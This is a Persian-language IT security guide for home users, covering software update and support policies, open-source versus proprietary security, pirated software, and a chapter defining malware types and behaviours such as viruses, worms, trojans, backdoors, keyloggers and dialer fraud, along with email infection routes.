  كنند؟ ديگر شرايط چه تغييراتي مي

  افزارهاي تجاري كوچك نرم

افزارهاي زيادي وجود دارنـد كـه بـصورت رايگـان يـا بـا                 نرم
سـطح پـشتيباني   . گيرند حداقل هزينه در اختيار عموم قرار مي      

بطور كلـي   . افزارها تفاوتهاي بسياري دارد   فروشندگان اين نرم  
روزرســاني رايگــان و يــا  هــاي بــه  اســتفادة متنــاوب از بــسته

ها معمولاً ضعفهاي  اين برنامه . شود  هزينه كاملاً توصيه مي    كم
امنيتي ندارنـد، بلكـه بـراي حـل مـشكلات غيرامنيتـي و يـا                

بـا اينحـال برخـي از       . اند  افزودن قابليتهاي جديد طراحي شده    
 در  ٣٣ياب  ويروس و يا    ٣٢ديوارة آتش افزارهاي رايگان نظير      نرم

سي ما هستند و در اين كتاب در مـورد آنهـا بحـث              حيطة برر 
  .خواهد شد

كنيـد كـه داراي كاركردهـاي        هايي اسـتفاده مـي      اگر از برنامه  
امنيتي هستند، اطمينان حاصل كنيد كه سياست فروشـنده در          

خواهيـد در     مـسلماً نمـي   . ايـد   روزرساني را درك كـرده      ارائه به 
اس بـه امنيـت     افـزار حـس     موقعيتي قرار بگيريد كه از يك نرم      
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روزرسـاني آن   استفاده كنيد و ناگهان خدمات پشتيباني ارائه به    
اسـتفاده از   . شود و يا توانايي خريـد آنـرا نداشـته باشـيد             قطع  

روزانـه يـا    (يابها اگر بطور منظم       افزارها مانند ويروس    برخي نرم 
تواند بسيار خطرناكتر از حـالتي     روزرساني نشوند، مي    به) هفتگي

شـود؛ زيـرا اگـر از آن اسـتفاده           آنها اسـتفاده نمـي     باشد كه از  
  .كنيد از شرايط امنيتي مناسبي برخورداريدنماييد تصور مي

  ٣٤بازافزارهاي متن نرم

بازي كه بسرعت درحـال گـسترش هـستند         افزارهاي متن   نرم
در . بايد بصورت مناسبي مـورد پـشتيباني قـرار داشـته باشـند      

صلي بـصورت رايگـان عرضـه       افزار ا   برخي موارد با اينكه نرم    
روزرساني يا پـشتيباني      شود اما امكان دارد خدمات ارائه به        مي

 كـه در  Red Hat Linuxنسخة رايگـان  . بر باشدآن هزينه
گيـرد نمونـة خـوبي از ايـن قبيـل             دسترس عمـوم قـرار مـي      

سازمانهايي كـه خواهـان سـطح بيـشتري از          . افزارها است   نرم
افزاري اصلي و يا       بستة نرم  پشتيباني فني هستند ممكن است    

اگـر تـصميم بـه    . حداقل خدمات پشتيباني آنرا خريداري كنند   
افزارهـايي داريـد كـه خريـد و پـشتيباني آنهـا               استفاده از نرم  
توجـه  ) بـاز افزارهـاي آزاد و مـتن   مثـل بعـضي از نـرم   (رايگان اسـت   

هـاي    زمـان در دسـترس بـودن نـسخه        باشيد كه مـدت     داشته
ــا ممكــن  ــد اصــلاحي آنه ــاه باش ــر .  اســت كوت ــابراين اگ بن

ــستم ــوع     سي ــود را از ن ــم خ ــستمهاي مه ــا زيرسي ــل ي عام
ايد بايد نسخة جديد      افزارهاي بدون پشتيباني انتخاب كرده      نرم

  .روزرساني كنيد به) مثلاً در هر شش ماه(آنرا هر چند وقت يكبار 

بــاز بــسيار مــشكلتر از روزرســاني محــصولات مــتن  بــه رونــد
 Microsoft Windowsحــصولاتي مثــل روزرســاني م بــه

است؛ اما با وجود دسـتورالعملهاي نـصب بـراي محـصولات            
افزارهـاي  نـرم . شودباز اين مشكل هم برطرف مي     اصلي متن 

 نيز وجـود دارنـد كـه بـصورت          Windowsباز مبتني بر    متن
هاي ساده استفاده  كننده شوند و از نصب    شده توزيع مي  كامپايل

  .كنندمي

روزرسـاني و     هـاي بـه     ، بسته Windowsتمهاي  همانند سيس 
باز بزرگ، بسته بـه     شده براي سيستمهاي متن   هاي ارائه   وصله

شناسايي منابع محلي . كنندباز تغيير مي  اندازة سيستمهاي متن  
 downloadروزرساني بمنظور كاهش زمان       هاي به   اين بسته 

  .تآنها از اينترنت براي كاربران منفرد بسيار حائز اهميت اس
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. طلبـد  باز كمي بحث مـي    افزار متن   آخرين نكته مربوط به نرم    
بـاز و طرفــداران  افـزار مـتن   اي ميـان طرفـداران نـرم    مباحثـه 

افزارهاي انحصاري سنتي وجود دارد كه بالاخره كـداميك           نرم
  .تر هستند از اين محصولات ايمن

  :افزارهاي انحصاري معتقدند طرفداران نرم

باز در دسـترس    محصولات متن از آنجا كه متن برنامة       •
توانند برنامه را تجزيه و       است، نفوذگران به سادگي مي    

تحليل كننـد و تمـامي اشـكالاتي كـه از طريـق آنهـا            
 .توان به سيستم نفوذ كرد را شناسايي نمايند مي

چون افراد زيادي در منـاطق مختلـف و بـدون روابـط              •
بـاز كـار    سازماني ممكن است روي محـصولات مـتن       

گرفتـه شـوند و       ممكن است استانداردها ناديـده      كنند،  
ــه     ــر ب ــف منج ــزاي مختل ــارچگي در اج ــدان يكپ فق

 .پذيريهاي امنيتي گردد آسيب

به اين دليل كه كاربران براي محصولات انحصاري به          •
پردازنــد، دســتورات او را دنبــال  توليدكننــده وجــه مــي

شــود كيفيــت كننــد و انجــام اينكــار باعــث مــي  مــي
 .افزارهاي انحصاري بالا باشد در نرمملاحظات امنيتي

از آنجــا كــه هــيچ منبــع معينــي مــسئوليتي در قبــال   •
باز بر عهده ندارد، درصـورتيكه امنيـت        محصولات متن 

دهندگان انفـرادي اهميـت نداشـته باشـد،           براي توسعه 
احتمال زيادي وجود خواهد داشت كـه ناديـده گرفتـه           

 .شود

  :دندباز معتقافزارهاي متن طرفداران نرم

افزارها كار    به دليل اينكه افراد زيادي با متن برنامه نرم         •
كنند، مسائل و مشكلات آنهـا توسـط افـراد خبـره              مي

 .گردد شود و سريعاً اصلاح مي تشخيص داده مي

كنند ممكن    افرادي كه با محصولات انحصاري كار مي       •
اي را توليد كنند؛ اما اگر توليدكننـده          است كد يكپارچه  

 محصول خود ارزش خاصـي قائـل نـشده          براي امنيت 
تواند از سطح ايمني مطلوبي برخوردار        باشد برنامه نمي  

 .باشد

هاي انحصاري براي اصلاح مشكلات موجود        در برنامه  •
هميشه بايد به توليدكنندة محصول مراجعه كرد و ايـن      

 .امر ممكن است باعث تأخير زماني زيادي شود
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. اه خود صـحيح هـستند     واقع هريك از اين دلايل در جايگ       در
افزار انحصاري يا     راهي براي كسب اطمينان از ايمن بودن نرم       

توان ادعا كـرد كـه      همچنين نمي . باز وجود ندارد  افزار متن   نرم
كشف و اصلاح مشكلات بوجود آمده در زمان مناسب صورت          

هـايي از رفتـار       افزار، نمونـه    در هر دو نوع نرم    . گيرد يا خير    مي
دقتي طراحان و سازمانهاي ارائه خدمات     ين بي آل و همچن  ايده

  .پشتيباني ديده شده است

  ٣٥افزارهاي مسروقه نرم

نه نويسندگان و نه ناشران اين كتاب هيچكدام مروج سـرقت           
انگارانـه اسـت اگـر وانمـود كنـيم          افزاري نيستند، اما ساده     نرم

افزار مشكلي است كـه     سرقت نرم . اي وجود ندارد  چنين مسئله 
ر دنيا وجود دارد، ولـي بيـشتر در كـشورهايي اتفـاق             در سراس 

افزارهـاي قـانوني در    افتد كه در آنها هزينة نسبي تهيه نرم       مي
يافتـه  مقايسه با دستمزدها بسيار بيشتر از كـشورهاي توسـعه         

 كه در آنها دواير قوانين محلي و نيروهاي انتظامي بـا            -است  
  .سازند ميهمكاري هم انجام تخلفات را بسيار غير محتمل 

دار گذشته از وظيفة قانوني مسئولين براي جلوگيري از خدشـه         
شدن حقوق مالكيت سازندة محصول، دو نكته در مورد امنيت          

. افزار مسروقه وجود دارد كه بايد مورد بررسي قـرار گيرنـد       نرم
افزارهاي مسروقه چندان رايج    هيچكدام از اين دو مورد در نرم      

ن امكان وجود دارد كه هر دو با هـم          نيستند، اما به هر حال اي     
  .نيز وجود داشته باشند

روزرسـاني شـدن    افزار مسروقه قابل به   ممكن است نرم   .۱
  .روزرساني آنرا از كار بيندازد نباشد يا انجام به

هـاي مـسروقه حـاوي        افـزار   امكان دارد برخـي از نـرم       .۲
ايــن . كاركردهــايي باشــند كــه انتظــار آنهــا را نداريــد

ــن   ــا ممك ــي،   كاركرده ــاي مخف ــامل دربه ــت ش اس
افزارهـاي    كليد، يا ساير انواع نرم    هاي صفحه كننده ثبت

  .مخرب باشند
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  فصل پنجم
  افزارهاي مخرب نرم

  كليات
نظير  (مخربافزارهاي    در اين فصل مفهوم و انواع مختلف نرم       

و مكانيزمهـايي كـه بـراي       ) هاي اينترنتـي، و تراواهـا     ويروسها، كرم 
  .گيرد شود مورد مطالعه قرار مي يتوزيع آنها استفاده م

  مقدمه

  ٣٦افزار مخرب نرم

 ايـن   . اسـت  ٣٧بـدافزار  مخربافزارهاي    علامت اختصاري نرم  
كردن سيستم    افزارها معمولاً براي آسيب رساندن يا خراب        نرم

  .شوندطراحي مي

مفهـوم  .  شناسايي شـد   ۱۹۸۱اي در سال      اولين ويروس رايانه  
در ســال " Science Fiction" در كتــاب ٣٨اي كــرم رايانــه

 معرفي شد و اولين فعاليت واقعي آن مربوط بـه اوايـل             ۱۹۷۵
جالب است بدانيد كه اين كرمها اولـين بـار          .  است ۱۹۸۰دهة  

براي اين طراحي شـدند كـه عملكـرد مثبـت و مفيـد داشـته                
 هـم بـه اولـين    ٣٩اياسـبهاي تـراواي رايانـه     پيـدايش   . باشند

عليرغم تاريخ  . گردد  از مي ب) ۱۹۶۰دهة  (روزهاي اشتراك زماني    
افزارها، در سـالهاي اخيـر اسـت كـه          و سابقة طولاني اين نرم    

تأثيرات مخرب آنها براي كاربران عـادي شـديد و خطرنـاك            
  .شده است

  .در آغاز بايد معنا و مفهوم اين اصطلاحات را تعريف كنيم

اي است كه به انتهاي برنامـة         ويروس برنامه   ويروس
 يـا وارد بدنـة يـك        شـود و    ديگر متصل مـي   
وقتـي آن برنامـه بـه       . گـردد   برنامة ديگر مي  
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شـود و      نيز اجرا مـي     آيد، ويروس اجرا در مي  
هاي خود را وارد فايلها يـا ديـسكهاي          نسخه

كنـد و بدينـصورت خـود را تكـرار            ديگر مي 
نمايد، و هنگاميكـه هريـك از فايهـا يـا             مي

شوند اين رونـد بـار       هاي آلوده اجرا مي   برنامه
ويروس ممكـن اسـت     . گردد  ر تكرار مي  ديگ

علاوه بر ايـن مـوارد كارهـاي ديگـري نيـز            
  .انجام دهد

 
كرم 

  اينترنتي
اي از خـود را       كرمها از اين جهت كه نـسخه      

كنند مشابه ويروسـها هـستند، امـا          تكرار مي 
. براي اينكار به برنامـة ميزبـان نيـاز ندارنـد          

همانند ويروسها، يك كرم ممكن است تنهـا        
ايي از خـود را در جاهـاي مختلـف          ه ـنسخه

تكرار كند و يا اينكه عـلاوه بـر آن عمليـات       
كرم تنها زمـاني كـار     . ديگري نيز انجام دهد   

كند كه سيستم قابليـت پـذيرفتن منـابع           مي
خارجي را داشته باشد و از طريـق آن منـابع           

برخـي از   . بتواند بـه اجـراي برنامـه بپـردازد        
زارها، فروشندگان ابزارهـاي شناسـايي بـداف      
  .آورند كرم را نيز نوعي ويروس به حساب مي

 
افزار از افـسانة جنـگ شـهر          نام اين نوع نرم    اسب تراوا

در آن  . تراوا در يونـان برگرفتـه شـده اسـت         
 چوبي بزرگ را از      ها يك اسب    افسانه، يوناني 

فرستند و هنگاميكه   دروازة شهر به داخل مي    
 شود تعداد زيـادي سـرباز     اسب وارد شهر مي   

شـوند و شـهر را بـه        يوناني از آن خارج مـي     
از آن زمان به بعـد      . آورندتصرف خود در مي   

بـه معنـاي چيـزي اسـت كـه          " اسب تـراوا  "
  .ظاهري عادي اما محتوياتي خطرناك دارد

توانـد    اي، اسـب تـراوا مـي      در مفاهيم رايانـه   
خرابيهاي زيادي به بار آورد و يا اعمالي غير         

. آنرا دارد انجام دهـد    از آنچه كه كاربر انتظار      
هـاي  اين اصطلاح در سالهاي اخير به برنامه      

شـود كـه معمـولاً بـدون          مخربي اطلاق مي  
شـوند و   اطلاع و اجازة كاربر وارد سيستم مي      

 .پردازندآوري و ارسال اطلاعات ميبه جمع
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افزار  نرم

"Bonus" افزار    نرمbonus افزاري است كه بـدون      نرم
افزاري هاي ديگر نرم   آگاهي شما حاوي بسته   

هــاي  قـرار گـرفتن بـسته   . در آن وجـود دارد 
. افزار تجاري مرسوم اسـت      ديگر در يك نرم   

بعنوان مثال اگر يك مرورگر وب نصب كنيد        
ــة  ــامل برنام ــون ممكــن اســت ش ــايي چ ه

Adobe Acrobatافزارهـــاي   يـــا نـــرم
اين امر به اين علت است      . اي باشد   چندرسانه

افـزار اصـلي      ارايي نـرم  كه معمولاً با اينكار ك    
يابد و روند فعاليـت نيـز معمـولاً         افزايش مي 

بدين ترتيب است كه درصورت تمايـل شـما         
كنـد يـا      افزارهاي جانبي را نصب مـي     آن نرم 

هـا شـما را از        اينكه در آغاز نصب آن برنامـه      
ــي   ــاه م ــار آگ ــام اينك ــازد انج ــرد . س عملك

 معمــولاً متفــاوت از bonusافزارهــاي  نــرم
اي داشـته   ر اصلي اسـت و اگـر چـاره        افزانرم

 .باشيد مسلماً نبايد آنها را نصب كنيد

" انحـصاري "قابليتهاي تراوا، ويروس و كرم براي يك برنامـه          
توانند بدافزاري با بـيش       به عبارت ديگر مهاجمين مي    . نيستند

. ٤٠تـراواي خـود تكـرار شـونده       از يك ويژگي بنويسند؛ مانند      
يـك خـصوصيت مخـرب اسـت        بدافزاري كه داراي بـيش از       

همـانطور كـه مـشاهده      . شـود    ناميده مـي   ٤١تهديد چندوجهي 
ــي ــسترش     م ــوة گ ــاً از روي نح ــاوين عموم ــن عن ــد اي كني
اند و نـه بـا توجـه بـه نحـوة            افزارهاي مخرب تعريف شده     نرم

افزارها و    در اين فصل چگونگي عملكرد اين نرم      . عملكرد آنها 
فـصلهاي بعـد نيـز      در  . شـود   راههاي انتشار آنها بررسـي مـي      

هـا در برابـر ايـن         هـا و شـبكه      روشهاي ايمن سـاختن رايانـه     
  .گيرد افزارها مورد بحث قرار مي نرم

  افزارهاي مخرب عملكرد نرم
افزارهـاي مخـرب      هيچ محدوديتي در چگونگي فعاليـت نـرم       

هـا در     روي رايانه شما وجود نـدارد، امـا معمـولاً ايـن برنامـه             
  : ي مشتركي هستندفعاليتهاي خود واجد ويژگيها

                                                                  
40  Self-Replicating Trojan 
41  Blended Threat 

  ارسال نامة الكترونيكي

ارســال نامــة الكترونيكــي يكــي از رايجتــرين عملكردهــاي  
نامـه الكترونيكـي ممكـن اسـت        . هـاي مخـرب اسـت      برنامه
 آن نيز   ٤٣متن.  شامل ويروس يا كرم داشته باشد      ٤٢اي  ضميمه

نظيـر  (شـده باشـد       تواند در مورد اطلاعات خاصـي تنظـيم           مي
تواند   يا حتي مي  )  در مورد يك مشكل امنيتي     هشدارهاي مايكروسافت 

هـاي الكترونيكـي پيـشين      داراي يك قسمت تصادفي از نامه     
اگر ضـميمة نامـه فايـل       . شما باشد كه در رايانه موجود است      

كننـده را     خطرناكي باشد، معمولاً متن آن به نحـوي دريافـت         
 و  ٤٤موضـوع فيلدهاي  . نمايد كه ضميمه را باز كند       تشويق مي 

شـوند كـه كـاربر را     اي تنظيم مي   نيز معمولاً بگونه   ٤٥هفرستند
مثل كرم مشهوري كـه     (تشويق كنند كه فايل ضميمه را باز كند         

ايـن نـوع پيامهـا معمـولاً بـراي      ). بود" I Love You"موضوع آن 
 آنها در فهرست آدرسـها يـا         شوند كه آدرس    افرادي ارسال مي  

 اوقـات وقتـي     گـاهي . فايلهاي ديگر رايانة آلـوده وجـود دارد       
گـردد،    متوقف مي پيامها براي همة اين افراد ارسال شد برنامه    

 چـه از رايانـة اوليـه و         -و گاهي اوقات باز هم فعاليت خود را         
توجه داشـته باشـيد كـه    . گيرد از سر مي-چه از مبادي جديد    

اگر رايانة فرد ديگري با ويروس يا كرم آلوده شده باشـد و آن     
نامـة الكترونيكـي     "فرسـتنده "در فيلـد    ويروس آدرس شما را     

شايد به اين دليـل كـه آدرس شـما را در ماشـين              (گذاشته باشد    آلوده
اين شـما هـستيد كـه مـتهم بـه توزيـع ايـن               ) آلوده يافته است  

 نـام   ٤٦كنندگي نامـة الكترونيكـي     گمراهاين فن   ! (ويروس خواهيد شد  
توان مـشخص   دارد و درصورت استفادة برنامة مخرب از آن، بسادگي نمي         

  )كرد كه رايانة آلودة واقعي متعلق به چه كسي است

  آوري اطلاعات جمع

توانـد اطلاعـاتي در مـورد رايانـة شـما و              افزار مخرب مي    نرم
فايلهاي موجود در آن بدست آورد و اين اطلاعات را در اختيار            

توانـد همـة فايلهـاي        اين برنامـه مـي    . نويسندة خود قرار دهد   
اگر اطلاعـات   . را بخواند ) شدهفايلهاي رمزگذاري حتي  (رايانه شما   

حساب بانكي يا كارتهاي اعتبـاري خـود را در رايانـه ذخيـره              
. ها مورد علاقة نفوذگران باشند      كنيد ممكن است اين داده      مي

اگر از امضاي خود در رايانه تصويري تهيه كرده باشـيد تـا از              

                                                                  
42  Attachment 
43  Body 
44  Subject Field 
45  From Field 
46  Email Spoofing 
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  اطلاعات و کاربران منفردامنيت فناوري: بخش دوم

 

٧٣  

ش
بخ

 
وم
د

  

هـم ممكـن    ها استفاده كنيـد، آن      آن در چاپ و يا ارسال نامه      
هاي اطلاعاتي    آوري اين بسته    جمع. است بكار مهاجمان بيايد   

تواند براي مهاجم اين امكان را بوجود آورد كه           در كنار هم مي   
اگـر در يـك شـركت       . بتواند از هويت شما سوء استفاده كنـد       

هاي كارت اعتباري افراد ديگـر        كنيد كه شماره    تجاري كار مي  
اييد، درصورت دزديـده شـدن      نم  را روي رايانة خود ذخيره مي     

  .ها مشكلات جدي برايتان پيش خواهد آمد اين شماره

  هابازنويسي يا حذف داده

رسان هستند؛ به اين      افزارهاي مخرب واقعاً آسيب     برخي از نرم  
تواننـد    ترتيب كه با وارد كردن داده به رايانة شما بسرعت مي          

ا بـا   فايلهاي موجود در ديسك سخت را پاك كننـد يـا آنهـا ر             
ها گاهي اوقات   اين برنامه . اطلاعات نادرست بازنويسي نمايند   

با روشهايي كـه احتمـال شناسـايي كمتـري دارنـد تغييـرات              
  :آورند شده را بوجود مي گفته

  نصب يك تروا

.  بسيار رايـج شـده اسـت        مخرب هايافزار  نرماين عملكرد در    
مـة  هايي نصب شـده و لـذا برنا       روي رايانه شما معمولاً برنامه    

عامـل از آن      اي كه شـما يـا سيـستم         تواند با برنامه  مخرب مي 
از ). معنـاي اصـلي تـراوا     (كنيد جايگزين شـود       استفادة زيادي مي  

هـاي ديگـري را وارد سيـستم          اين گذشته ممكن است برنامه    
كند كه در يك زمان از پيش تعيين شـده يـا هنگـام روشـن                

" ارهـاي سـربار  افز نـرم "در بخـش  . شدن رايانه به اجرا در آيند    
  .اند بسياري از اين روشها توضيح داده شده

  زمانبندي براي آينده

هاي گفته شده ممكن است بلافاصله اتفاق         هريك از عملكرد  
براي مثـال   . ريزي شوند بيفتند و يا براي وقوع در آينده برنامه       

مند باشـند    علاقه  مخرب هايافزار  نرمممكن است نويسندگان    
 خاص در روزهاي اولية ژانويـة سـال         كه اعلام شود يك كرم    

  . يك خرابي بزرگ به بار آورد۲۰۰۰

  ٤٧افزارهاي سربار نرم
شـود كـه      اي ظاهر مي     معمولاً به شكل برنامه    افزار مخرب   نرم

كه رايانة خود را روشـن يـا          نشيند و زماني  روي رايانة شما مي   

                                                                  
47  Payload Software 

تنهـا  . آيـد كنيـد بـه اجـرا در مـي          برنامة خاصـي را آغـاز مـي       
توانـد داشـته باشـد      هـا مـي    كه عملكرد اين برنامه    محدوديتي

  .تصورات و مهارت پديدآورندة آنها است

  ٤٨افزار رديابي و اعمال تغيير در شبكه نرم

كنيـد را   ها پايگاههايي كه شما مشاهده مي  اين دسته از برنامه   
توانند علاوه بر آنچه كـه شـما در حالـت             كنند و مي    نظاره مي 

فحات ديگـري را بـه نمـايش        كنيـد ص ـ    معمول مشاهده مـي   
توانند آنچه كه در پايگاه وب است را بـا            همچنين مي . درآورند

تبليغات خود جايگزين نمايند، و اطلاعاتي در مورد رايانة شما          
ــام داده   ــدة آن انج ــا توليدكنن ــه ب ــاملاتي ك ــراي  و تع ــد ب اي

افزارها در بـسياري از مـوارد         اين نرم . پديدآورندة خود بفرستند  
آنچـه وارد   : ترل كامل بر روي مرورگر شـما هـستند        داراي كن 

بينيـد را     توانند آنچـه كـه مـي        كنند و مي    كنيد را نظاره مي     مي
تغيير دهند؛ و هنگاميكه مشاهدات شما را تحـت نظـر دارنـد             

شـده  توانند فعاليتهاي شما را به يك مقصد از پيش تعيـين            مي
حي ، اين قابليت طراInternet Explorerدر . گزارش دهند

هـاي  BHOتوانـد     اگرچه كاربر مي  .   نام دارد   BHO٤٩شده و   
سالم و بسيار مفيدي را پديد آورد، اما اين قابليت براي ايجـاد             

هاي كاربردي كه اخلاقيات در آنها كمتر رعايـت شـده             برنامه
  .نيز امكانات قابل توجهي بوجود آورده است

  ٥٠دربهاي مخفي

اي نيـاز بـه وارد        نـه  رايا  معمولاً براي دسترسي به يك سيستم     
كردن نام كاربري و رمز عبـور داريـد؛ اگرچـه ايـن سـطح از                 

 اوقات براي سيستمهايي كـه از لحـاظ فيزيكـي            امنيت گاهي 
تواننـد از پـشت     ايمن هـستند و تنهـا اشـخاص خاصـي مـي           

درب "افـزار   نرم. كليد آنها وارد سيستم شوند وجود ندارد    صفحه
هـاي امنيتـي اينچنينـي بـه        اثر كردن كلية حفاظ   با بي " مخفي

ايـن  . دهـد    اجازة دسترسي به رايانة شما را مي       ٥١كاربر راه دور  
افزار حتي ممكن است حفاظهاي امنيتي خود را كار بگذارد   نرم

اگرچـه  . تا تنها پديدآورندة آن بتواند از سيستم استفاده نمايـد         
اين جزئيات از يك مورد تا مـورد ديگـر متفـاوت اسـت، امـا                

                                                                  
48  Web Tracking/Modification Software 
49  Browser Helper Object - 

http://msdn.microsoft.com/library/enus/dnweb
gen/html/bho.asp 

50  Backdoors 
51  Remote User 
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  راهنماي امنيت فناوري اطلاعات
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دور ممكن است روي سيستم شما كنترل كامل پيدا         كاربر راه   
افزارهـا اگـر بخواهنـد،     حتي ممكن است اين نـرم     . كرده باشد 

در اينحالت رايانة شـما     . بتوانند شما را از ادامة كارتان بازدارند      
تحت فرمان شخص ديگري قرار دارد و شـما از ايـن مـسئله              

 چـرا   آيد اين اسـت كـه     اما سؤالي كه پيش مي    . آگاهي نداريد 
 شـما را در دسـت بگيـرد؟          مهاجم مايل است كنترل سيـستم     

تواند دلايل متعـددي داشـته باشـد، از جملـه             انجام اينكار مي  
  :اينكه

هيچ دليلي غير از اثبات توانايي خود به دوستانش براي  •
 انجام اين كار وجود نداشته باشد؛

 گر باشد؛بيخربطور كلي بخواهد ت •

  شخصي داشته باشد؛براي هدف قرار دادن شما دليل •

از رايانة شما براي فعاليتهـاي مخـرب ديگـر اسـتفاده             •
تخريـب  كند؛ مثل فرستادن هرزنامه يـا انجـام حملـة           

 هاي ديگر؛ و يا اينكه عليه رايانه٥٢)DoS (سرويس

 .بخواهد اطلاعات با ارزشي را به سرقت ببرد •

افزارهـايي بـا كـاربرد مـشابه تحـت            توجه داشته باشـيد نـرم     
ابزارهــاي  يــا ٥٣ابزارهــاي دسترســي راه دورچــون عنــاويني 

اي هاي مشروع و بـسيار و پراسـتفاده         برنامه ٥٤راهبري راه دور  
اگر از اين ابزارها براي اهـداف كـاري خـود اسـتفاده             . هستند

كنيد مطمئن شويد كه ملاحظات مناسب امنيتي مانند نـام            مي
  .ايد كاربري و رمزهاي عبور را بكار گرفته

  ٥٥ي كليدهاكنندهثبت

آنها تمـامي   . از نام آن مشخص است    " كننده كليد ثبت"مفهوم  
كليـد را ثبـت و در يـك فايـل           كليدهاي فشرده شدة صـفحه    

توانـد در آينـده بـا دسترسـي از            اين فايل مي  . كنند  ذخيره مي 
طريق درب مخفي مورد استفاده قـرار بگيـرد و يـا از طريـق               

  . ارسال گرددپست الكترونيكي يا وب براي نويسندة برنامه

كننده كليد تمـامي آنچـه كـه واقعـاً          شايان ذكر است كه ثبت    
كند و نه آنچه كه از طريـق شـبكه            كنيد را نظاره مي     تايپ مي 

بنابراين حتي اگـر شـمارة كـارت اعتبـاري را           . شود  ارسال مي 

                                                                  
52  Denial of Service Attack 
53  Remote Access Tools 
54  Remote Administration Tools 
55  Keyloggers 

يعني اگر هنگام انتقال اطلاعـات      (روي صفحة وب ايمن وارد كنيد       
، ايـن برنامـه دقيقـاً آنچـه كـه تايـپ             )از رمزنگاري استفاده شـود    

  .نمايد  ثبت مي- بصورت رمزگذاري نشده -كنيد را  مي

  سرقت مالي

هاي شخصي    در اكثر سرقتهايي كه درنتيجة حملات به رايانه       
اند، از رايانة قرباني سرقت اطلاعات صورت گرفته        اتفاق افتاده 

ده از  با اينحال مواردي وجود دارند كه در آنها بـا اسـتفا           . است
هاي سربار، پول مسروقه بصورت خودكـار بـه مـصرف             برنامه

ترين مثال اين است كه برنامه، يـك مـودم     ساده. رسيده است 
را روي رايانة شما شناسايي كند و از آن براي برقراري تماس            

توانـد    از آنجا كه برنامه نمي    . با مقاصد دوردست استفاده نمايد    
 هيچ مزيتي ندارد، بجـز  صحبت كند انجام اينكار براي مهاجم 

نوعي احساس رضايت شيطاني مبني بر اينكه شـما در پايـان            
ماه يك صورتحساب سـنگين از شـركت مخـابرات دريافـت            

  .كنيدمي

تواند از انجام اينكار بهـرة شخـصي          در موارد ديگر مهاجم مي    
در بسياري از كشورها ممكن است شماره تلفـن خاصـي      . ببرد

شود شركت   با آن تماس گرفته مي     وجود داشته باشد كه وقتي    
گيرنده ثبت    مخابرات در هر دقيقه هزينة بيشتري براي تماس       

كند و در عوض مقداري از اين هزينه به حساب كـسي بـرود              
اين امـر در انـواع مختلـف        . كه با او تماس حاصل شده است      

گيرد، اما بيشتر مـورد اسـتفادة         معاملات مورد استفاده قرار مي    
اي هستند تـا       ساده  فزاري است كه خواهان راه    ا  شركتهاي نرم 

اي را از حساب شما كـسر    براي پشتيباني بدون ضمانت هزينه    
هــاي در چنــين وضــعيتي شــركت مخــابرات هزينــه. نماينــد
كند كه بتواند قسمتي    اي محاسبه مي  ها را بگونه    گيرنده  تماس

از آنرا بعنوان هزينة تماسهاي پشتيباني به شركتي كـه بـا آن             
اگـر نفـوذگر چنـين      . اس حاصل شـده اسـت ارسـال كنـد         تم

ريزي   تواند رايانة شما را طوري برنامه       باشد مي   اي داشته   شماره
كند كه با اين شماره تماس بگيـرد و بـراي مـدتي تمـاس را                

در آنصورت اين هزينه در صورتحساب پايـان        . برقرار نگهدارد 
  .ماه تلفن شما درج خواهد شد

  شوند؟  شناسايي ميافزارها چگونهاين نرم
هاي شخصي بوسـيلة      چند سال قبل تنها راه آلوده شدن رايانه       

افزارهاي مخرب، اسـتفاده از ديـسكهاي آلـوده           ويروس يا نرم  
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بود و اگر با افرادي كه آلوده شده بودنـد تبـادل فايـل انجـام                
 UNIXسيـستمهاي  . برديـد   داديد در امنيت بـه سـر مـي          نمي

قابليتهـاي  به دليـل    بودند اما   چندان مستعد دريافت ويروس ن    
بسيار زياد برقراري ارتبـاط و همچنـين اشـكالات امنيتـي در             

افزارهاي كاربردي رايج، حتي در       عاملها و برخي از نرم     سيستم
توانستند به سيستمها     آن روزها هم گاهي اوقات نفوذگران مي      

افزارهاي درب مخفي نصب      دستيابي پيدا كنند و روي آنها نرم      
 اولين حادثة جدي امنيتي اينترنت كرمـي بـود كـه در             .نمايند
امـروز ممكـن    .  حمله كرد  UNIX به يك سيستم     ۱۹۸۸سال  

. است شما به روشـهاي متفـاوتي مـورد حملـه قـرار بگيريـد              
انـد مربـوط بـه سيـستمهاي          روشهايي كه در ادامه ذكر شـده      

 و  Macintoshسيستمهاي  . شوند   مي Windowsمبتني بر   
Unix   ها كمتـر مـستعد هـستند؛       ت به اين حمله    به نوعي نسب

تر هـستند، بلكـه بـه ايـن           البته نه الزاماً به اين علت كه ايمن       
 بـراي مهـاجمين    Windowsدليل كه معمـولاً سيـستمهاي       

 در ردة   Unixسيستمهاي  . روند تري به شمار مي   اهداف جذاب 
 تـا بـه امـروز       Macintoshبعدي قرار دارنـد و سيـستمهاي        

  .اندپذيريهاي خود ديده از آسيبكمترين صدمه را 

  نامة الكترونيكي

چند سال قبـل ميـان كـاربران پـست الكترونيكـي شـايعاتي              
گسترش يافت مبني بر اينكـه بـا دريافـت نامـة الكترونيكـي              

مـديران و مـسئولان   . ممكن است بـه ويـروس آلـوده شـويد       
 مجبور بودند مداوماً به كاربران اطمينان دهند كه اين           سيستم

است، و تا زمانيكه فايل ضميمه بـه اجـرا در           " غير ممكن "امر  
  .نيايد، ماشين و كاربران آن در امنيت كامل هستند

آلوده شدن از طريق نامة الكترونيكي امروز ديگر امـر محـالي          
شده  دو قابليت اضافه  . نيست و درواقع بسيار هم محتمل است      

  .اندافزارهاي پست الكترونيكي باعث اين مسئله شدهبه نرم

پـست  هـايي بـراي       اولين تغيير اين است كـه امـروزه برنامـه         
تواننـد ضـمايم را بـصورت          وجود دارنـد كـه مـي       الكترونيكي

در گذشته كاربر فايل ضميمه را ذخيـره و         . خودكار اجرا نمايند  
كـرد، امـا درحـال حاضـر اجـراي خودكـار           سپس آنرا اجرا مي   
 كــه  مخــصوصاً بــراي كــاربران مبتــدي-ضــمائم كارهــا را 

خواهند بدون انجام عمليات اضافه آنچه كه فرستاده شـده            مي
  .تر كرده است  ساده-است را ببينند 

 دومين تغيير اين است كه چـون تـلاش بـر ايـن بـوده كـه                 
تر گردد، امروز امكـان       افزار پست الكترونيكي ساده و قوي      نرم

 در بدنة اصلي نامة الكترونيكـي وجـود         HTMLنويسي    برنامه
تواند حـاوي دسـتورالعملهاي        مي HTMLليرغم اينكه   دارد؛ ع 

تواند مرورگـر وب را        مي HTMLبعنوان مثال   . مشكلساز باشد 
شـده  بصورت خودكار به سمت يك پايگاه وبِ از پيش تعيـين          
